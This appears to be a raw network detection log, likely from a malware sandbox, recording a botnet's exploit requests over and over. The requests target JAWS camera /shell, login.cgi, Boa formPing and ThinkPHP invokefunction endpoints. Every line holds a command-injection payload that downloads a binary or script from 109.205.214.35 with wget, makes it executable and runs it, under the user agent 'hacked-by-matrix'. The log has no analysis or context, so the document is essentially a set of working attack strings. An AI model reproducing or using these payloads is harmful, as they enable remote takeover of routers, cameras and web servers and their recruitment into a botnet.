Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
